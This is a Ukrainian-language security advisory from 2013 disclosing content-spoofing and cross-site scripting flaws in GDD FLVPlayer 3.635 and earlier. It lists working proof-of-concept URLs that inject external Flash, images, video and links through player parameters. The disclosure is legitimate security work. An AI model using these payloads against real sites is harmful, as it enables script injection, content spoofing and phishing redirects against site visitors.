CS та XSS уразливості в GDD FLVPlayer
17:24 23.08.201310.07.2013
У травні, 16.05.2013, я виявив Content Spoofing та Cross-Site Scripting уразливості в GDD FLVPlayer. Про що найближчим часом повідомлю розробникам веб додатку.
Детальна інформація про уразливості з’явиться пізніше. Спочатку повідомлю розробникам.
23.08.2013
Content Spoofing (Flash Injection) (WASC-12):
http://site/gddflvplayer.swf?mylogo=http://site2/1.swf
http://site/gddflvplayer.swf?splashscreen=http://site2/1.swf
Можна включати флешки, в тому числі флешки з лінками.
XSS (через Flash Injection) (WASC-08):
http://site/gddflvplayer.swf?mylogo=xss.swf
http://site/gddflvplayer.swf?splashscreen=xss.swf
В старих версіях флеша атака спрацює з флешкою xss.swf на будь-яких доменах, а в нових версіях - лише на тому самому домені.
Content Spoofing (Content Injection) (WASC-12):
http://site/gddflvplayer.swf?mylogo=http://site2/1.jpg
http://site/gddflvplayer.swf?splashscreen=http://site2/1.jpg
http://site/gddflvplayer.swf?advert=http://site2/1.flv
http://site/gddflvplayer.swf?vdo=http://site2/1.flv
Включення зображень і програш відео та аудіо (flv, mp4 та mp3 файлів) з зовнішніх сайтів.
Content Spoofing (Link Injection) (WASC-12):
http://site/gddflvplayer.swf?clickTAG=http://websecurity.com.ua
http://site/gddflvplayer.swf?vdo=http://site2/1.flv&endclipaction=http://websecurity.com.ua
Уразливі GDD FLVPlayer v3.635 та попередні версії.